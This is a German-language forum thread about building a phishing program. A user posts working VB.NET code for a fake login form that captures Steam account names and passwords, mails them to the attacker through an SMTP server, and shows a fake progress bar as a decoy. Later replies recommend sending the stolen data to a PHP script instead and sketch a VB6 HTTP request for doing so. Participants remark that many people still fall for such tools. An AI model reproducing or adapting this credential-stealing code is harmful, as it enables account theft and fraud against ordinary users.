[S] VB 6 Phising Programm erstellen

[Stelmi007]

Delete ! .

[q1x]

Naja für den code benutze ich :

Imports System.Net.Mail
Imports System.Net
Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
Dim text As String
text = "Account-Name: " + TextBox1.Text + " Passwort: " & TextBox2.Text + vbLf
Dim myClient As New Net.Mail.SmtpClient("smtp.web.de")
myClient.Credentials = New NetworkCredential("DEINEEMAIL", "DEINPW")
myClient.Send("DEINEEMAIL", "DEINEEMAIL, DEINEEMAIL", "Steam Account", text)
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
If ProgressBar1.Value = ProgressBar1.Maximum Then
MsgBox("Steal erfolgreich Pw: billyboy555")
Me.Close()
End If
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Increment(1)
If ProgressBar1.Value = ProgressBar1.Maximum Then
End If
End Sub
End Class

Und das Design + Module lässt sich denke ich selbst erklären ^^ (du sagst ja du hast GrundKentnisse)

[Kurz nebenbei, das is mit Visual Basic 2008 geschrieben also kein VB 6, aber vb.net reicht für nen Phisher ja vollkommen aus und ist kostenlos!]

[TheBeginner]

Hät ich auch posten können .__.^^

Habe VB 2010

[Stelmi007]

Warum hast es dann nicht gemacht *roll*

[TheBeginner]

Weil q1x schneller war >.<
Außerdem, wer fällt eigentlich noch auf so was rein?

[VooDoo666]

Außerdem, wer fällt eigentlich noch auf so was rein?

Ich.


Warum Mail? Übergibs doch einfach an ein PHP Script, was dir alles schön einspeichert.

Find ich wesentlich angenehmer.

[100]

Richtig, die Daten an ein PHP Script übergeben hat deutliche Vorteile.. es kann nix gesnifft werden d.h. deine Logs und der Server sind "sicher". Nur geht das Spammen deutlich einfacher

[ykjfh]

Weil q1x schneller war >.<
Außerdem, wer fällt eigentlich noch auf so was rein?

Glaub mir es fallen noch richtig viele drauf rein!

[Bi0sh0k]

Mist ich hab nur VB6. :/
Wie kann man das denn in VB6 umschreiben. Hab schon ewig sowas gesucht. xD

[100]

Also wenn du die Daten sinnvoll abschicken willst (wie oben erwähnt) dann brauchst du bloß das Inet Control.. dann machst du Inet1.Navigate "...php?name="&name und so weiter